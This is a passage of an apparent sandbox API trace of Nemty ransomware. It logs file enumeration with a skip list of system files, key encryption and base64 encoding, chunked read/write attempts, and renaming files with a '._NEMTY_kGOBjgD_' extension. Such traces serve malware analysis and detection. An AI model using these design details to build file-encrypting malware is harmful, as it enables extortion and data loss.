dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0104.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0104.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0104.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0104.262] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b1f3147, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1 [0104.262] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".") returned 1 [0104.262] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="..") returned 1 [0104.262] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="...") returned 1 [0104.262] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="windows") returned -1 [0104.262] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="$RECYCLE.BIN") returned 1 [0104.263] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="rsa") returned -1 [0104.263] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="NTDETECT.COM") returned -1 [0104.263] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="ntldr") returned -1 [0104.263] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="MSDOS.SYS") returned -1 [0104.263] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="IO.SYS") returned -1 [0104.263] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="boot.ini") returned 1 [0104.263] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="boot.ini") returned 1 [0104.263] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="AUTOEXEC.BAT") returned 1 [0104.263] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="ntuser.dat") returned -1 [0104.263] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="desktop.ini") returned -1 [0104.263] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="CONFIG.SYS") returned 1 [0104.263] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="RECYCLER") returned -1 [0104.263] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="BOOTSECT.BAK") returned 1 [0104.263] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="bootmgr") returned 1 [0104.263] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="programdata") returned -1 [0104.263] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="appdata") returned 1 [0104.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0104.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="connectionmanager_dmr.xml", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0104.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="connectionmanager_dmr.xml", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connectionmanager_dmr.xml", lpUsedDefaultChar=0x0) returned 25 [0104.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0104.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="connectionmanager_dmr.xml", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0104.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="connectionmanager_dmr.xml", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connectionmanager_dmr.xml", lpUsedDefaultChar=0x0) returned 25 [0104.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0104.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0104.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0104.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="connectionmanager_dmr.xml", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0104.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="connectionmanager_dmr.xml", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connectionmanager_dmr.xml", lpUsedDefaultChar=0x0) returned 25 [0104.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0104.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0104.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="connectionmanager_dmr.xml", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0104.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0104.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="connectionmanager_dmr.xml", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connectionmanager_dmr.xml", lpUsedDefaultChar=0x0) returned 25 [0104.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0104.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94248 [0104.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0104.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942f0 [0104.264] Sleep (dwMilliseconds=0x5) [0104.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf1cbab30, dwHighDateTime=0x1d561e7)) [0104.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf1cbab30, dwHighDateTime=0x1d561e7)) [0104.274] GetLastError () returned 0x5 [0104.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0104.274] GetLastError () returned 0x5 [0104.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0104.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0104.275] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0104.275] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0104.275] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0104.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0104.275] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="lLIR2mfXz8EQ1+rgVisgEmMynquo+SnlYjkKlhutuDGmmlTIoPvGhKziHQ6J2JLf\r\nbTsDymrheYJft1cwaBtGDKnn5y1OYgiYzkGPqgC3E7NQfXT1EBijqRimDPTUtPLJ\r\nFwqO6UFmQxB3tfnd6JHzaqEZS9WtSY6wEVcu3KpC+esZ5B8tfk7XSy+jlA+uQL+f\r\nA2RG4r/9e+ESAIS/cZfE1WabaDaNjNVOEURe0jMOnkFFg4ssNDx8peU5/p9MHICQ\r\ndQLV/NFEvEegPSxNA4xlA1Px1gIG3W3SrWcd7UNQIqgIGFOTKC08mVZAoqeLGExh\r\nY6ZveeuB3MeNsJfheXttqw==\r\n", pcchString=0x653ef9c) returned 1 [0104.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0104.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0104.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0104.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0104.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0104.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0104.275] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\connectionmanager_dmr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.278] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0104.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0104.278] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.278] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.288] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.288] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.297] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.297] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.297] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.297] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.308] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.317] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.318] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.336] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.345] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.345] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.365] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.365] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.374] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.374] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.380] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.387] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.387] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0104.387] CloseHandle (hObject=0xffffffff) returned 0 [0104.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0104.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0104.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0104.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0104.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0104.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0104.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0104.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340308 [0104.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0104.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0104.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\connectionmanager_dmr.xml"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\media renderer\\connectionmanager_dmr.xml._nemty_kgobjgd_")) returned 0 [0104.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0104.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0104.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0104.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0104.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0104.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0104.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942f0 | out: hHeap=0x4f90000) returned 1 [0104.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0104.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.387] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1 [0104.387] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".") returned 1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="..") returned 1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="...") returned 1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="windows") returned -1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="$RECYCLE.BIN") returned 1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="rsa") returned -1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="NTDETECT.COM") returned -1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="ntldr") returned -1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="MSDOS.SYS") returned -1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="IO.SYS") returned -1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="boot.ini") returned 1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="boot.ini") returned 1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="AUTOEXEC.BAT") returned 1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="ntuser.dat") returned -1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="desktop.ini") returned 1 